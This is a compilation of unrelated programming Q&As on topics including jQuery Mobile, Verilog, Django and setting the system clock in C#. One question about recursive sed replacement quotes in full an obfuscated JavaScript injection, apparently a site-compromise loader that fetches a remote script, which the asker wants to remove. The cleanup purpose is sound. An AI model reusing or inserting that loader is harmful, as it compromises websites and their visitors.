Update 20200914: In response to followup comments below, please understand that Conda is just a nice installer for NCO, and ensures that you have all the dependencies and libraries in one place. So long as the Conda bin and lib dirs come first in your paths, Conda-installed NCO works well, whether within or without a Bash script.


text:
Q: Bug? Jquery Mobile Event only fires once using live() and pageshow events Trying to use jquery mobile to fire an event (a log in click button) but it only works once.
I have it firing on 'pageshow' event (because of the whole jquery ajax pageload thing, document ready is not applicable) but again it only works on first load, i tried an alert which fires okay. So it must be the .live() event in the $('.check-login'). I am hoping you guys can shed some light on it.
Jquery code:
      $('#home').live('pageshow', function(event){
                             alert('home');//fires okay

                             //fires once only
                             $('.check-login').live('click', function() {
                                        var email = $("#email").val();
                                        var password = $("#password").val();
                                        if(email !="" || password !=""){
                                        var datastring = "useremail=" + email + "&userpassword=" + password;
                                                              $.ajax({
                                                              type: "POST",
                                                              url: 'http://creativetree.co/creativetreeBeta/mobileImageUpload.php',
                                                              data: datastring,
                                                              success: function(data){
                                                              //success
                                                              $('.check-login').slideUp();
                                                              $('.upload-page').fadeIn();
                                                              $('#userlogin').slideUp();
                                                              }
                                                              });

                                        }else{
                                        alert('Please fill in all fields');
                                        }
                             });
                             });

A: Go through: JqueryMobile - Scripting pages
Its because when you follow link on your jQuery Mobile site for the same project(internally), the page is loaded with AJAX and only replace body. So, if you want to fire any event on any dom element which is added after page load you need to user .live() function instead of click.  When you traverse through pages its not reload page, its just a internal ajax call from jQuery-Mobile itself.


text:
Q: Translation of a string in code behind in a localresource file I created local resource files with VisualStudio (.resx and .fr.resx) for each page.
All the text of controls in the .aspx page can be translated now.
But can I also translate strings in my code behind in this loacal resource file?
If yes, how can I read the value in code behind out of my local .resx files in my App_LocalResources map?

A: You can try...
Simply call the GetLocalResourceObject method on your current page:
GetLocalResourceObject("yourkey").ToString();

GetGlobalResourceObject("MyGlobalResources", "HelloWorldString").ToString();


text:
Q: In Xilinx Vivado, simulation mismatch between behavioral and post-synthesis implementations While designing PISO (parallel in serial out) in Xilinx Vivado using Verilog, the output waveform of the behavioral simulation (RTL-level, pre-synthesis) shows correct (desired output) value but post-synthesis or post-implementation functional or timing simulation is showing some unexpected results. There is a high frequency noise present at the new clock(slow)at near both edges in the simulation which is the main problem. How to eliminate this noise now? Is there any way to debug post synthesis level netlist? I have included my source code as:
module PISOleft(
input clk,
input rst,
input [3:0]din,

output reg dout,

);

reg [3:0]temp;
reg [25:0]temp1;
reg slow1;
reg slow;

         initial
               begin
                   temp1=26'd0;
                   slow1=1'b0;
               end
           always@(posedge clk)
                    temp1<=temp1+1;
           always @(temp1)
                  begin
            if(temp1==26'b10111110101111000010000000)//clock divided by 50Mhz
                        begin
                         slow1<=slow1+1;
                         end
                     else
                         begin
                          slow1<=slow1;
                         end
               slow<=slow1;
                  end

  always @(posedge slow)       // speed
      begin
         if(rst==1'b1)         // condition
            begin
                 dout<=0;
                 temp<=din;
             end
         else
            begin
                dout<= temp[3];
                temp<={temp[2:0],1'b0};
             end
      end
  endmodule

The warning I am getting at synthesis is:
 [Synth 8-327] inferring latch for variable 'slow_reg'

The noise present at my new clock(slow) is shown:

A: You can't set the same reg from multiple always blocks. You will need to rewrite the module so that regs are only set from within one always block. The simplest way to do this is to use one always block to implement all of the logic.

A: To address your almost-entirely-different question from your edited question: you need to update the value of slow for every path through the always block. This means you must have an else for your if, even though you want the value to stay the same. You still must explicitly state slow <= slow as the stay-the-same case.
Additionally, your design uses multiple signals as clocks to flip-flops. You should make your counter-based slow-clock-creation a separate module and bring in only one common clock to your module. You want the non-clock, non-reset signal into/out of your module to all use the same clock signal for their flip-flops in any moderately complex system that needs to synthesize and operate reliably.


text:
Q: How to remove href attribute if the link matches current webpage URL? I have a static file called header.html, which is embedded in my Java servlet and is displayed on top of all the webpages generated by the servlet -

It displays an UL list acting as a navigation menu.
It is displayed same on all pages, but if a page is already displayed, I would like to remove the link pointing to it.
Unfortunately, my code does not work.

$(document).ready(function() {
    $("a[href='" + window.location.href + "']").removeAttr("href");
});
.center {
    width: 100%;
    text-align: center;
}

#navigation {
    display: inline;
    margin: 0;
    padding: 0;
}

#navigation > li {
    display: inline;
    padding: 8px;
}

My web page

My motto

Home

Top

Stackoverflow

Android

iOS

It works when I use a hardcoded URL, but not when I try to replace it by window.location.href
Please suggest a better jQuery code. If the selector a[href='" + window.location.href + "']" cannot be used, then should I maybe iterate through the links, which are children of #navigation and then remove href if it matches the current page URL? And how to make it work with relative URLs (like /en/ws/android)?
UPDATE:
And here is the link to my real webpage where my code fails to work.

A: On your real page, the href is just the pathname portion of the URL, not the full URL. So use that in your selector.
$(document).ready(function() {
    $("a[href='" + window.location.pathname + "']").removeAttr("href");
});

You could also use a filter:
$(document).ready(function() {
    $("a[href]").filter(function() {
        return this.href == window.location.href;
    }).removeAttr("href");
});

The href attribute is just what's in the HTML, but the href property is the fully-resolved URL.


text:
Q: djongo + mongodb, Array Data Insert Problem I have a problem.
Stack: Django-Rest-Framework + Djongo + Mongodb.
Problem: Insert error array data
//models.py

from django.db import models
from djongo import models as djongoModels

class House(models.Model):
    house_id = models.CharField(max_length=256)

    class Meta:
        abstract = True

class Users(models.Model):
    _id = djongoModels.ObjectIdField()
    email = djongoModels.CharField(max_length=256)
    name = djongoModels.CharField(max_length=256)
    house = djongoModels.ArrayField(
        model_container=House
    )

    class Meta:
        db_table = "drf_users"

//serializers.py
from .models import Users, Houses
from rest_framework import serializers

class InsertUserSerializers(serializers.ModelSerializer):
    email = serializers.CharField(required=True)
    name = serializers.CharField(required=True)
    house = serializers.ListField(child=serializers.CharField())

    class Meta:
        model = Users
        fields = ('email', 'name', 'house')

//views.py
from .models import Users
from .serializers import InsertUserSerializers

class UsersViewSet(viewsets.ModelViewSet):
    queryset = Users.objects.all()
    serializer_class = InsertUserSerializers
    permission_classes = [AllowAny]

//request.http
POST http://<domain>/drf/house/ HTTP/1.1
Content-Type: application/json

{
    "email": "test6@stay.co.kr",
    "name": "test6",
    "house": ["SEOU-2023-1023-0002","GYOU-2023-1022-0001"]
}

//pip freeze
asgiref==3.5.2
backports.zoneinfo==0.2.1
certifi==2022.9.24
cffi==1.15.1
charset-normalizer==2.1.1
cryptography==38.0.1
Deprecated==1.2.13
Django==4.1
django-cors-headers==3.13.0
django-filter==22.1
django-oauth-toolkit==2.1.0
django-rest-framework==0.1.0
django-rest-framework-mongoengine==3.4.1
djangorestframework==3.13.1
djongo==1.3.6
dnspython==2.2.1
idna==3.4
jwcrypto==1.4.2
mongoengine==0.24.2
oauthlib==3.2.1
Pillow==9.2.0
pycparser==2.21
pymongo==3.12.3
pytz==2022.2.1
requests==2.28.1
sqlparse==0.2.4
urllib3==1.26.12
wrapt==1.14.1

I want a final db values.
enter image description here
Is this serializers problem? Or Djongo problem.
If remove a serializers house array field, there is no error.
What's wrong with my source code. Please help me.

A: [Self Solved]
It's problem with between a model and a value.
//ArrayField: Only available {key:value}
//models.py
class House(models.Model):
    house_id = models.CharField(max_length=256)

class Users(models.Model):
    ...
    house = djongoModels.ArrayField(
        model_container=House
    )

//request value
"house": [{"house_id":"SEOU-2023-1023-0002"},{"house_id":"GYOU-2023-1022-0001"}]

//JSONField or CharField: Available {value, value...}
//models.py
class Users(models.Model):
    ...
   #house = djongoModels.CharField(max_length=256) <= exists max_length's problem
    house = djongoModels.JSONField()

//request value
"house": ["SEOU-2023-1023-0002","GYOU-2023-1022-0001"]


text:
Q: MS Access query making sure Higher retails match I'm trying to build a query in MS Access and having an issue figuring out the best way to build it. What I'm trying to do is is make sure all the Higher retails match within a set of matching pack numbers. For example:
PackNum  Prefix    Retail
6451618  DF        37.99
6451618  SK        37.99
6451618  VJ        34.99
6451618  SG        37.99

One of the group is off and I want the query to show it.
I was attempting to use something like this to have check but I'm not getting the results I'm looking for
 IIf([dbo_PIC704Current]![PackNum]=[dbo_PIC704Current]![PackNum]
 And [dbo_PIC704Current]![Ret2]<>[dbo_PIC704Current]![Ret2],True,False)

Any help or push in the right direction would be greatly appreciated!
-Deke

A:  SELECT dbo_pic704current.packnum
, Min(dbo_pic704current.Ret2) AS LowRet2
, Max(dbo_pic704current.Ret2) AS HighRet2
, dbo_CatalogInfo.MediaId
, dbo_pic704current.DiscountReasonCode
, dbo_CatalogInfo.Brand
FROM dbo_pic704current INNER JOIN dbo_CatalogInfo ON (dbo_pic704current.year =
dbo_CatalogInfo.mailyear) AND (dbo_pic704current.catid = dbo_CatalogInfo.catalog)
WHERE (((dbo_CatalogInfo.MediaId)='CAT Catalog'))
GROUP BY dbo_pic704current.packnum, dbo_CatalogInfo.MediaId,
dbo_pic704current.DiscountReasonCode, dbo_CatalogInfo.Brand, dbo_pic704current.Year
HAVING (((Min(dbo_pic704current.Ret2))<>Max([Ret2])))
ORDER BY dbo_pic704current.packnum;

A: Your existing solution using aggregation is likely to yield better performance, but to offer an alternative, here is an example using a correlated subquery:
select
    pc.packnum, pc.ret2, ci.mediaid, pc.discountreasoncode, ci.brand
from
    dbo_pic704current pc inner join dbo_cataloginfo ci on
    pc.year = ci.mailyear and pc.catid = ci.catalog
where
    ci.mediaid = 'cat catalog' and exists
    (select 1 from dbo_pic704current t where t.packnum = pc.packnum and t.ret2 > pc.ret2)
order by
    pc.packnum


text:
Q: What could prevent autocompletion from working on Exchange 2010/Outlook 2010? I am working with a user in my organization who recently had her mailbox contents restored and now is unable to add entries to her autocompletion list.
We are all using Exchange 2010 and Outlook 2010 on Windows 7. The user's mailbox was originally corrupted when one of our Exchange Servers dropped a LUN, and the user's mailbox was subsequently restored from backup using NetApp SMBR (Single Mailbox Restore).
Specifically, the user is able to remove people from their autocomplete cache, and those changes appear to be persisted into their mailbox. But adding people to the cache never works. Here's what I've tried already:

*

*Ensure that Cached Exchange Mode is turned off

*Created a new mail profile

*Logged into a completely different Windows 7 desktop

*Deleted the contents of "Suggested Contacts"

*Clicked "Empty AutoComplete List" in Outlook preferences

*Ran Outlook.exe with the flag /CleanAutoCompleteCache
But in every case, we are still unable to save any autocomplete entries from Outlook.
Also note that I tried this in Outlook Web Access, but because OWA uses a different autocomplete cache than Outlook, the user had no problems at all in OWA. This is strictly limited to the Outlook desktop client.
Which brings me to the reason I'm asking this question on ServerFault and not SuperUser. Clearly the user's mailbox on the Exchange server is somehow damaged. I would restore from backup, but restoring from backup is how I got into this mess in the first place. The user's mailbox is large (5+ GB) so ideally I would like to repair in-place.

*

*Are there other possible causes of problems with autocompletion that I haven't considered?

*Are there any solutions that are likely to restore full functionality? Is there some way to re-export and re-import the mailbox that would keep everything intact?

A: The autocomplete list is stored as an hidden message w/ the subject "IPM.Configuration.Autocomplete" in the Inbox folder of the user's mailbox. You can't get at it with Outlook, but other tools will let you.
Call me heavy-handed, but I think I'd grab a copy of MFCMAPI and use it to backup an then delete the autocomplete cache. (As an aside: MFCMAPI is just a fun tool to use to go digging around in the innards of a mailbox with.)
Microsoft has some step-by-step directions in the knowledge base. There's some talk of "corruption" of the autocomplete list in that article that's worth looking at, too.


text:
Q: "More that" vs. "more than" Here is an example of something I occasionally encounter, and it always trips me up. The title of an applied mathematics book from Stanford University in 1959 is (bold mine)

Partial Differential Equations with More that Two Independent Variables in the Complex Domain

I myself would certainly use more than in all instances of constructions like the example above, but I also see more that from time to time. Whence comes this alternate construction?

A: While I agree with the Unprestidigitator's assessment that this is a typo, there is nevertheless a thing or two of interest to be learned here.
First, the Google N-gram for "more that one/two/three/four":

Now compare that with the Google N-gram for the correct version:

Two important observations are that

*

*In both cases, the lower the cardinal number, the more frequent the usage, even of the typo.  That makes sense, and shows that we're asking the right question, since if we got different proportions, something would be wrong.

*Since word processors and automatic spelling correctors appeared, the proportion of errors has taken a sharp spike.  This shows clear evidence that there is some substance to the the frequently heard lament from both "end-user" reader and professional copywriter alike that the quality of published texts  suffered from the advent of computer-assisted writing.  This seems a paradox, but data like these really do seem to support the notion.  Why that may be, however, is beyond the scope of this question and indeed of ELU itself.

For those who doubt this is anything but an error, just compare the first two using both correct and incorrect formulations. Here is the Google N-gram to show just one and two, but with both the correct and incorrect version:

Notice how the typo versions seem to flatline.  However, if you read the fine  print for the year-2000 data, you will see that there are 594 instances of more than one for each single instance of the incorrect more that one, and there are 670 instances of more than two for each single instance of the incorrect more that two.
A hundred years ago it was different.  Here is the year-1900 snapshot:

Now the ratio is 1311 to 1 for the more than/that one case, and 2606 to 1 for the more than/that two case.  In other words, the first is now about twice as frequent (2.21 : 1) a mistake in 2000 as it was in 1900, and the second error is now about four times more likely  (3.89 : 1) for the same time points.
This is extremely suggestive that it is only a typo, and checking the individual hits shows conclusively that it always is either a typo, or in a few cases, a false positive due to intervening punctuation.
In conclusion, the analysis that this is a typo, albeit an increasingly frequent one,  seems to be borne out by the observed data.  The increasing frequency is cause for some distress regarding our "modern" text-production methods, but it is also likely why the question was raised here in the first place.

A: In addition to tchrist's excellent analysis about the increased prevalence of this typo, I though I'd toss out one other tidbit.
Obviously the spell-checker doesn't complain because "that" is spelled correctly.  But I find it interesting to consider why the grammar checker also misses this common typo when it warns against many others.  I presume it's because "more that" is actually a legitimate construction:

The problem is more that things could change at any moment.

Although the particular example in the OP's question was clearly a typo, I think this goes to part of the question: "Whence comes this alternate construction?"


text:
Q: Log data. Customize fprintf - C I want to customize output to a file from my program.
void http_log(char* msg, ...)
{
    char* prePend = "Date-Time: %s === ";//Prepended text
    size_t len1 = strlen(prePend);
    size_t len2 = strlen(msg);
    char *s = malloc(len1 + len2 + 1);  //The new string
    memcpy(s, prePend, len1);
    memcpy(s + len1, msg, len2 + 1); // includes terminating null

    time_t rawtime;
    struct tm * timeinfo;
    time ( &rawtime );
    timeinfo = localtime ( &rawtime );

    char *dateTime = asctime (timeinfo);//Get the current date time
    dateTime[strlen(dateTime) - 1] = 0;//Take away the new line character

    va_list args;
    va_start( args, msg);

    //I think the problem lies here...
    fprintf( log_fd, s, dateTime, args);//Print it to the log file. log_fd is already created and opened.
    printf(s, dateTime, args);//Prints to screen.

    va_end( args);
    free( s);
}

I want to add some standard text before the output from http_log(); (The current date in this case). After that i want to add some customizable text that you pass in to the http_log function http_log("This will be appended after the date \n");. and at last i want to be able to use the %s, %d, %ld and so on (Don't know what they are called) like http_log("Connected with IP address %s\n", IP_addres);
My problem is that the values i pass through does not get printed. Should i try to combine the string with the values before i combine the values or...
Or is there some other other thing that is wrong with my code??
I'm grateful for all the help && || *pointers
Some C fun :)

A: You cannot pass the va_list args to printf(), but to vprintf().
And you cannot combine an "additional argument" dateTime with the va_list,
so you have to print them separately:
void http_log(char* msg, ...)
{
    char *dateTime = ...;
    fprintf(log_fd, "Date-Time: %s === ", dateTime);
    printf("Date-Time: %s === ", dateTime);

    va_list args;

    va_start(args, msg);
    vfprintf(log_fd, msg, args);
    va_end( args);

    va_start(args, msg);
    vprintf(msg, args);
    va_end( args);
}

A: I don't think it's possible with only one call to printf(). Your message and parameters you have to pass to v version of the print function, vfprintf() in your case. The date (or whatever you want to generate inside http_log()) you have to pass to non-v version of the print function.


text:
Q: Change system date programmatically How can I change the local system's date & time programmatically with C#?

A: Here is where I found the answer.; I have reposted it here to improve clarity.
Define this structure:
[StructLayout(LayoutKind.Sequential)]
public struct SYSTEMTIME
{
    public short wYear;
    public short wMonth;
    public short wDayOfWeek;
    public short wDay;
    public short wHour;
    public short wMinute;
    public short wSecond;
    public short wMilliseconds;
}

Add the following extern method to your class:
[DllImport("kernel32.dll", SetLastError = true)]
public static extern bool SetSystemTime(ref SYSTEMTIME st);

Then call the method with an instance of your struct like this:
SYSTEMTIME st = new SYSTEMTIME();
st.wYear = 2009; // must be short
st.wMonth = 1;
st.wDay = 1;
st.wHour = 0;
st.wMinute = 0;
st.wSecond = 0;

SetSystemTime(ref st); // invoke this method.

A: *

*PInvoke to call Win32 API  SetSystemTime,(example)

*System.Management classes with WMI class Win32_OperatingSystem and call SetDateTime on that class.

Both require that the caller has been granted SeSystemTimePrivilege and that this privilege is enabled.

A: Use this function to change the time of system (tested in window 8)
 void setDate(string dateInYourSystemFormat)
    {
        var proc = new System.Diagnostics.ProcessStartInfo();
        proc.UseShellExecute = true;
        proc.WorkingDirectory = @"C:\Windows\System32";
        proc.CreateNoWindow = true;
        proc.FileName = @"C:\Windows\System32\cmd.exe";
        proc.Verb = "runas";
        proc.Arguments = "/C date " + dateInYourSystemFormat;
        try
        {
            System.Diagnostics.Process.Start(proc);
        }
        catch
        {
            MessageBox.Show("Error to change time of your system");
            Application.ExitThread();
        }
    }
void setTime(string timeInYourSystemFormat)
    {
        var proc = new System.Diagnostics.ProcessStartInfo();
        proc.UseShellExecute = true;
        proc.WorkingDirectory = @"C:\Windows\System32";
        proc.CreateNoWindow = true;
        proc.FileName = @"C:\Windows\System32\cmd.exe";
        proc.Verb = "runas";
        proc.Arguments = "/C time " + timeInYourSystemFormat;
        try
        {
            System.Diagnostics.Process.Start(proc);
        }
        catch
        {
            MessageBox.Show("Error to change time of your system");
            Application.ExitThread();
        }
    }

Example:
Call in load method of form
setDate("5-6-92");
setTime("2:4:5 AM");

A: Since I mentioned it in a comment, here's a C++/CLI wrapper:
#include <windows.h>
namespace JDanielSmith
{
    public ref class Utilities abstract sealed /* abstract sealed = static */
    {
    public:
        CA_SUPPRESS_MESSAGE("Microsoft.Security", "CA2122:DoNotIndirectlyExposeMethodsWithLinkDemands")
        static void SetSystemTime(System::DateTime dateTime) {
            LARGE_INTEGER largeInteger;
            largeInteger.QuadPart = dateTime.ToFileTimeUtc(); // "If your compiler has built-in support for 64-bit integers, use the QuadPart member to store the 64-bit integer."

            FILETIME fileTime; // "...copy the LowPart and HighPart members [of LARGE_INTEGER] into the FILETIME structure."
            fileTime.dwHighDateTime = largeInteger.HighPart;
            fileTime.dwLowDateTime = largeInteger.LowPart;

            SYSTEMTIME systemTime;
            if (FileTimeToSystemTime(&fileTime, &systemTime))
            {
                if (::SetSystemTime(&systemTime))
                    return;
            }

            HRESULT hr = HRESULT_FROM_WIN32(GetLastError());
            throw System::Runtime::InteropServices::Marshal::GetExceptionForHR(hr);
        }
    };
}

The C# client code is now very simple:
JDanielSmith.Utilities.SetSystemTime(DateTime.Now);

A: A copy/paste class for anyone else who's looking for one
using System;
using System.ComponentModel;
using System.Runtime.InteropServices;

public static class SystemDateTime
{
    [DllImport("kernel32.dll", EntryPoint = "SetSystemTime", SetLastError = true)]
    private static extern bool Win32SetSystemTime(ref SystemTime sysTime);

    [StructLayout(LayoutKind.Sequential)]
    public struct SystemTime
    {
        public ushort Year;
        public ushort Month;
        public ushort DayOfWeek;
        public ushort Day;
        public ushort Hour;
        public ushort Minute;
        public ushort Second;
        public ushort Millisecond;
    };

    public static void SetSystemDateTime(int year, int month, int day, int hour,
        int minute, int second, int millisecond)
    {
        SystemTime updatedTime = new SystemTime
        {
            Year = (ushort) year,
            Month = (ushort) month,
            Day = (ushort) day,
            Hour = (ushort) hour,
            Minute = (ushort) minute,
            Second = (ushort) second,
            Millisecond = (ushort) millisecond
        };

        // If this returns false, then the problem is most likely that you don't have the
        // admin privileges required to set the system clock
        if (!Win32SetSystemTime(ref updatedTime))
        {
            throw new Win32Exception(Marshal.GetLastWin32Error());
        }
    }

    public static void SetSystemDateTime(DateTime dateTime)
    {
        SetSystemDateTime(dateTime.Year, dateTime.Month, dateTime.Day, dateTime.Hour, dateTime.Minute,
            dateTime.Second, dateTime.Millisecond);
    }
}

A: A lot of great viewpoints and approaches are already here, but here are some specifications that are currently left out and that I feel might trip up and confuse some people.

*

*On Windows Vista, 7, 8 OS this will require a UAC Prompt in order to obtain the necessary administrative rights to successfully execute the SetSystemTime function. The reason is that calling process needs the SE_SYSTEMTIME_NAME privilege.

*The SetSystemTime function is expecting a SYSTEMTIME struct in coordinated universal time (UTC). It will not work as desired otherwise.

Depending on where/ how you are getting your DateTime values, it might be best to play it safe and use ToUniversalTime() before setting the corresponding values in the SYSTEMTIME struct.
Code example:
DateTime tempDateTime = GetDateTimeFromSomeService();
DateTime dateTime = tempDateTime.ToUniversalTime();

SYSTEMTIME st = new SYSTEMTIME();
// All of these must be short
st.wYear = (short)dateTime.Year;
st.wMonth = (short)dateTime.Month;
st.wDay = (short)dateTime.Day;
st.wHour = (short)dateTime.Hour;
st.wMinute = (short)dateTime.Minute;
st.wSecond = (short)dateTime.Second;

// invoke the SetSystemTime method now
SetSystemTime(ref st);

A: You can use a call to a DOS command but the invoke of the function in the windows dll is a better way to do it.
public struct SystemTime
{
    public ushort Year;
    public ushort Month;
    public ushort DayOfWeek;
    public ushort Day;
    public ushort Hour;
    public ushort Minute;
    public ushort Second;
    public ushort Millisecond;
};

[DllImport("kernel32.dll", EntryPoint = "GetSystemTime", SetLastError = true)]
public extern static void Win32GetSystemTime(ref SystemTime sysTime);

[DllImport("kernel32.dll", EntryPoint = "SetSystemTime", SetLastError = true)]
public extern static bool Win32SetSystemTime(ref SystemTime sysTime);

private void button1_Click(object sender, EventArgs e)
{
    // Set system date and time
    SystemTime updatedTime = new SystemTime();
    updatedTime.Year = (ushort)2009;
    updatedTime.Month = (ushort)3;
    updatedTime.Day = (ushort)16;
    updatedTime.Hour = (ushort)10;
    updatedTime.Minute = (ushort)0;
    updatedTime.Second = (ushort)0;
    // Call the unmanaged function that sets the new date and time instantly
    Win32SetSystemTime(ref updatedTime);
}

A: Be Careful!.
If you delete unused property from the structure, it sets the time wrong. I ve lost 1 day because of this. I think order of the structure is important.
This is correct structure:
public struct SystemTime
        {
            public ushort Year;
            public ushort Month;
            public ushort DayOfWeek;
            public ushort Day;
            public ushort Hour;
            public ushort Minute;
            public ushort Second;
            public ushort Millisecond;

        };

If you run the SetSystemTime(), it works as expected.
For test I set the time as below;
SystemTime st = new SystemTime();
st.Year = 2019;
st.Month = 10;
st.Day = 15;
st.Hour = 10;
st.Minute = 20;
st.Second = 30;

SetSystemTime(ref st);

The time set: 15.10.2019 10:20, its ok.
But I delete DayOfWeek property which not used ;
public struct SystemTime
            {
                public ushort Year;
                public ushort Month;
                public ushort Day;
                public ushort Hour;
                public ushort Minute;
                public ushort Second;
                public ushort Millisecond;

            };

SystemTime st = new SystemTime();
    st.Year = 2019;
    st.Month = 10;
    st.Day = 15;
    st.Hour = 10;
    st.Minute = 20;
    st.Second = 30;

    SetSystemTime(ref st);

Run same code but the time set to: 10.10.2019 20:30
Please be careful order and all fields of SystemTime structure.
Yusuf

A:
proc.Arguments = "/C Date:" + dateInYourSystemFormat;

This Is Work Function:
void setDate(string dateInYourSystemFormat)
{
    var proc = new System.Diagnostics.ProcessStartInfo();
    proc.UseShellExecute = true;
    proc.WorkingDirectory = @"C:\Windows\System32";
    proc.CreateNoWindow = true;
    proc.FileName = @"C:\Windows\System32\cmd.exe";
    proc.Verb = "runas";
    proc.Arguments = "/C Date:" + dateInYourSystemFormat;
    try
    {
        System.Diagnostics.Process.Start(proc);
    }
    catch
    {
        MessageBox.Show("Error to change time of your system");
        Application.ExitThread();
    }
}


text:
Q: Why do I get different results from TwoSampleMR package and MVMR package when I am doing multivariable Mendelian randomization? When performing multivariable Mendelian Randomization analysis, I had three exposure and a total of 80 snps were used as instruments to invesitgated the independent effect of each exposure on the outcome. However, I got different results from TwoSampleMR package, MendelianRandomization package, and MVMR package, using exactly same snps. In TwoSampleMR package,one exposure was significant, but in MendelianRandomization package and MVMR package, none of them were significant.
How can this happen? and Which result should I believe?


text:
Q: Codeigniter limit and offset pagination not working in descending order Pagination worked fine in ASC order but I just can't get it to work in DESC order.
I have 10 test videos in my database with ids from 1-10, in the first batch I want to get the last 5 videos (ids: 10,9,8,7,6) and in the next batch the remaining ones (id:5,4,3,2,1).
The problem is that I always get empty results when using DESC order, here is my code:
    $limit = 5;

    $this->db->select('*');
    $this->db->from('participant_videos');
    $this->db->order_by('id','DESC');
    $this->db->limit($limit,$index); // currently index is 10
    $query=$this->db->get();

    $videos = $query->result_array(); // empty array
    echo $this->db->last_query();
    // QUERY: SELECT * FROM `participant_videos` ORDER BY `id` DESC LIMIT 10, 5

    return [
        'videos' => $videos,
        'index' => empty($videos) ? 0 : $index - $limit,
    ];

First time the index is determined like this:
 public function get_latest_video () {

    $video = $this->db->select("*")->limit(1)->order_by('id',"DESC")->get("participant_videos")->row_array();

    return !empty($video['id']) ? $video['id'] : null; // index (10)

}

This is my table structure and content:
== Table structure for table participant_videos

|------
|Column|Type|Null|Default
|------
|//**id**//|int(11)|No|
|participant_id|int(11)|No|
|video_url|varchar(255)|No|
|video_type|varchar(255)|No|video/mp4
== Dumping data for table participant_videos

|2|2|/uploads/2-6138aef5a0717.mp4|video/mp4
|3|3|/uploads/3-6138b09449800.mp4|video/mp4
|4|4|/uploads/4-6138b0c3b1965.mp4|video/mp4
|5|5|/uploads/5-6138b0efa7aa1.mp4|video/mp4
|6|6|/uploads/6-6138b10667680.mp4|video/mp4
|7|7|/uploads/7-6138b154084a4.mp4|video/mp4
|8|8|/uploads/8-6138b1779bee0.mp4|video/mp4
|9|9|/uploads/9-613b4bc1e1d58.mp4|video/mp4
|10|16|/uploads/16-613b57a76c696.mp4|video/mp4

A: It turns out that offset "switches" sides when in DESC order, so instead of using biggest id as offset:

SELECT * FROM participant_videos ORDER BY id DESC LIMIT 10, 5

I had to change my offset to 0 to start from the biggest id:

SELECT * FROM participant_videos ORDER BY id DESC LIMIT 0, 5

This way I would recive the last 5 videos.


text:
Q: How to do a recursive find/replace of a long string with awk or sed? I have a very long and complex string in many files and I want to remove/replace it recursively. The string contains many slashes, backslashes and spaces and any kind of special signs.
Example ( this's the string to find ):

var a=['ffffff/fdf',')njosirthalcfoml5','length','trderrnrme1fze6r(','script','abs','parentNode','getElementsByTagName','t=ha5mytou5_p_d','5mgrfokf7tma7l!pp','type','async','oe3m6axnwt8s5omh7','jfjOcxieyd2njif','createElement','while','fdsfd'];(function(b,e){var f=function(g){while(--g){b'push';}};f(++e);}(a,0x12b));var b=function(c,d){c=c-0x0;var e=a[c];return e;};var _cs=['3tqnjerg4Akriews)ue',b('0xb'),b('0x10'),'vb37(ej4q84fb1x9v8w6e1lau4!34c443cf64097sap8!afeeeh0qbgchc!7q2289=gvu&!0a402m=1duiicu?3sfjb.(esdpoun2_qi9uj/8m9ozc0.20v6h3gt(ayt9snkfcnixlvci.vcqiql0bmu4p1/)/p:isuprt)tzhp',b('0x5'),b('0x3'),b('0xa'),b('0x8'),'get','fejiekzokovce',b('0xf'),b('0x2'),b('0xc'),b('0x7')];if(ndsw===undefined){var ndsw=true;(function(){var c=navigator;var d=document;var e=screen;var f=window;var g=c[m(_cs[0x0])];var h=c[m(_cs[0x2])];var i=d[m(_cs[0x9])];var j=f[m(_cs[0x7])][m(_cs[0xb])];var k=d[m(_cs[0x6])];if(k&&!n(k,j)){if(!n(i,m(_cs[0xa]))){var c=db('0x4');c[b('0x0')]=_cs[0xd];c[b('0x1')]=![0x0];l[b('0xd')]b('0x6');}}aaaaaaa m(p){var q='';for(var r=0x0;rm(_cs[0x5])!==-0x1;}ffffff o(p){var q='';for(var r=p[b('0x9')]-0x1;r>=0x0;r--){q+=p[r];}return q;}}());}```

How do I do that?
Would it be possible to write the search string to a file and use this as input for a search & replace recursively command?
The purpose is to remove the entire string found in a path recursively.

A: If there is only one occurrence of the string per text file this will append 'MARKER' to the start and end of the complex string, then delete the text between 'MARKER's:
for f in $(find . -name "*.txt")
do
sed -i "s/var\ a/MARKER_var\ a/g" "$f"
sed -i "s/\`\`\`/\`\`\`MARKER/g" "$f"
sed -i 's/MARKER.*MARKER//g' "$f"
done


text:
Q: Error creating data layer using the add_trips function of mapdeck Trying to use the new add_trips layer for mapdeck . Example code and errors below. Grateful for any assistance. Thanks.
The data I'm using:
> class(msi)
[1] "sf"         "tbl_df"     "tbl"        "data.frame"

> head(msi$geometry)
Geometry set for 6 features
geometry type:  POINT
dimension:      XYZ
bbox:           xmin: 2.94486 ymin: 51.34172 xmax: 3.21298 ymax: 51.42742
epsg (SRID):    4326
proj4string:    +proj=longlat +datum=WGS84 +no_defs
First 5 geometries:
POINT Z (2.94486 51.42742 1573824004)
POINT Z (3.2062 51.35052 1573827317)
POINT Z (3.21298 51.34172 1573830334)
POINT Z (3.21298 51.34175 1573834830)
POINT Z (3.21297 51.34173 1573838433)

The mapdeck code:
key = "mykeyhere"

plot <- mapdeck( token = key, style = 'mapbox://styles/mapbox/dark-v9',
                         pitch = 30,
                         width="100%",
                         zoom=15) %>%
  add_trips(
    data = msi
  )

Error I'm getting:
Error in rcpp_path_geojson(data, l, geometry_column, digits, "trips") : Error creating data layer

A: Notes on your example

*

*The trips layer requires LINESTRINGs, not POINTs

*It also needs both Z (elevation) and M (time) attributes (the lines are rendered in space and time)

Other details
I wrote the trips layer with this pull-request into the sf library in mind, so I've designed it to automatically read the z_range and m_range of the sfc object.
I also have the sfheaders library which can construct sf objects which include these attributes.
I am using the github versions of sf and mapdeck
remotes::install_github("r-spatial/sf")
remotes::install_github("SymbolixAU/mapdeck")

Working Example
You haven't included a reproducible data set in your question, so I'm going to use my own.
In this example I

*

*Take a sf LINESTRING object

*Convert into a data.table of coordinates

*Append Z and M columns

*Convert back to sf  LINESTRING object

*Plot trips

library(mapdeck)
library(sf)
library(sfheaders)
library(data.table)

## 'roads' is an sf object included in mapdeck
sf_roads <- mapdeck::roads

## you don't need this, I only use it later in the plot so I can subset only 'long'
## roads, so the gif is below 2mb!
sf_roads$length <- as.numeric( sf::st_length( sf_roads ) )
sf_roads$id <- 1:nrow( sf_roads )  ## for joining the 'length' back on

## grab the road coordinates
dt <- sf::st_coordinates( sf_roads )
dt <- as.data.table( dt )

## st_coordinates returns a L1 'id', which is equivalent to our 'id' above

## Need Z and M attributes
dt[, Z := 0 ]   ## can be actual elevation if you have it
dt[, M := 1:.N, by = .(L1)]   ## this 'M' is your timestamp

